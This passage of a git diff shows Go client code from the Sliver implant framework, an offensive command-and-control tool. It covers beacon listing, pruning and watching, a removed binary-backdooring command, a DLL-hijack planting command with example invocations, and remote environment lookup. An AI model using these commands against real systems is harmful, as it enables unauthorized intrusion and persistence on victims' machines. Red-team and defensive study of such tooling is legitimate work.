err = kill.KillBeacon(beacon, false, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
|
||||
if killAll {
|
||||
beacons, err := GetBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
color := console.Normal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
}
|
||||
}
|
||||
return tw
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoBeacons - No sessions available
|
||||
ErrNoBeacons = errors.New("no beacons")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
// ErrBeaconNotFound
|
||||
ErrBeaconNotFound = errors.New("no beacon found for this ID")
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
|
||||
beaconsMap := map[string]*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
beaconsMap[beacon.ID] = beacon
|
||||
}
|
||||
keys := []string{}
|
||||
for beaconID := range beaconsMap {
|
||||
keys = append(keys, beaconID)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
beacon.ID,
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
beacon.Username,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> session
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return beaconsMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrBeaconNotFound
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(beacons.Beacons) == 0 {
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
return beacons, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
pruneBeacons := []*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
}
|
||||
if len(pruneBeacons) == 0 {
|
||||
con.PrintInfof("No beacons to prune.\n")
|
||||
return
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
}()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case <-time.After(time.Second):
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
}
|
||||
con.Printf("\nPress enter to stop.\n")
|
||||
con.Printf(console.UpN+"\r", len(lines)+2)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
done <- true
|
||||
}()
|
||||
return done
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,50 +0,0 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func binject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
fmt.Println(Warn + "Please select an active session via `use`")
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Println(Warn + "Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
remoteFilePath := ctx.Args[0]
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
go spin.Until(msg, ctrl)
|
||||
backdoor, err := rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if backdoor.Response != nil && backdoor.Response.Err != "" {
|
||||
fmt.Printf(Warn+"Error: %s\n", backdoor.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf(Info+"Uploaded backdoored binary to %s\n", remoteFilePath)
|
||||
|
||||
}
|
||||
@@ -1,175 +0,0 @@
|
||||
package command
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
const (
|
||||
// ANSI Colors
|
||||
normal = "\033[0m"
|
||||
black = "\033[30m"
|
||||
red = "\033[31m"
|
||||
green = "\033[32m"
|
||||
orange = "\033[33m"
|
||||
blue = "\033[34m"
|
||||
purple = "\033[35m"
|
||||
cyan = "\033[36m"
|
||||
gray = "\033[37m"
|
||||
bold = "\033[1m"
|
||||
clearln = "\r\x1b[2K"
|
||||
upN = "\033[%dA"
|
||||
downN = "\033[%dB"
|
||||
underline = "\033[4m"
|
||||
|
||||
// Info - Display colorful information
|
||||
Info = bold + cyan + "[*] " + normal
|
||||
// Warn - Warn a user
|
||||
Warn = bold + red + "[!] " + normal
|
||||
// Debug - Display debug information
|
||||
Debug = bold + purple + "[-] " + normal
|
||||
// Woot - Display success
|
||||
Woot = bold + green + "[$] " + normal
|
||||
)
|
||||
|
||||
var (
|
||||
|
||||
// ActiveSession - The current sliver we're interacting with
|
||||
ActiveSession = &activeSession{
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
}
|
||||
|
||||
stdinReadTimeout = 10 * time.Millisecond
|
||||
)
|
||||
|
||||
// Observer - A function to call when the sessions changes
|
||||
type Observer func(*clientpb.Session)
|
||||
|
||||
type activeSession struct {
|
||||
session *clientpb.Session
|
||||
observers map[int]Observer
|
||||
observerID int
|
||||
}
|
||||
|
||||
// GetInteractive - GetInteractive the active session
|
||||
func (s *activeSession) GetInteractive() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
fmt.Printf(Warn + "Please select an active session via `use`\n")
|
||||
return nil
|
||||
}
|
||||
return s.session
|
||||
}
|
||||
|
||||
// Get - Same as Get() but doesn't print a warning
|
||||
func (s *activeSession) Get() *clientpb.Session {
|
||||
if s.session == nil {
|
||||
return nil
|
||||
}
|
||||
return s.session
|
||||
}
|
||||
|
||||
// AddObserver - Observers to notify when the active session changes
|
||||
func (s *activeSession) AddObserver(observer Observer) int {
|
||||
s.observerID++
|
||||
s.observers[s.observerID] = observer
|
||||
return s.observerID
|
||||
}
|
||||
|
||||
func (s *activeSession) RemoveObserver(observerID int) {
|
||||
if _, ok := s.observers[observerID]; ok {
|
||||
delete(s.observers, observerID)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *activeSession) Request(ctx *grumble.Context) *commonpb.Request {
|
||||
if s.session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int(time.Second) * ctx.Flags.Int("timeout")
|
||||
return &commonpb.Request{
|
||||
SessionID: s.session.ID,
|
||||
Timeout: int64(timeout),
|
||||
}
|
||||
}
|
||||
|
||||
// Set - Change the active session
|
||||
func (s *activeSession) Set(session *clientpb.Session) {
|
||||
s.session = session
|
||||
for _, observer := range s.observers {
|
||||
observer(s.session)
|
||||
}
|
||||
}
|
||||
|
||||
// Background - Background the active session
|
||||
func (s *activeSession) Background() {
|
||||
s.session = nil
|
||||
for _, observer := range s.observers {
|
||||
observer(nil)
|
||||
}
|
||||
}
|
||||
|
||||
// GetSession - Get session by session ID or name
|
||||
func GetSession(arg string, rpc rpcpb.SliverRPCClient) *clientpb.Session {
|
||||
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
return session
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetSessionsByName - Return all sessions for an Implant by name
|
||||
func GetSessionsByName(name string, rpc rpcpb.SliverRPCClient) []*clientpb.Session {
|
||||
sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return nil
|
||||
}
|
||||
matched := []*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == name {
|
||||
matched = append(matched, session)
|
||||
}
|
||||
}
|
||||
return matched
|
||||
}
|
||||
|
||||
// This should be called for any dangerous (OPSEC-wise) functions
|
||||
func isUserAnAdult() bool {
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
return confirm
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,4 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
@@ -0,0 +1,97 @@
|
||||
package dllhijack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
return
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if localFile != "" {
|
||||
if profileName != "" {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("DLL uploaded to %s\n", targetPath)
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
package command
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func getEnv(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.Get()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var name string
|
||||
if len(ctx.Args) > 0 {
|
||||
name = ctx.Args[0]
|
||||
}
|
||||
|
||||
envInfo, err := rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: ActiveSession.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, envVar := range envInfo.Variables {
|
||||
fmt.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Environment
|
||||
===========
|
||||
|
||||
Contains command implementations for manipulating remote environment variables.
|
||||
@@ -0,0 +1,71 @@
|
||||
package environment
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintGetEnvInfo(envInfo, con)
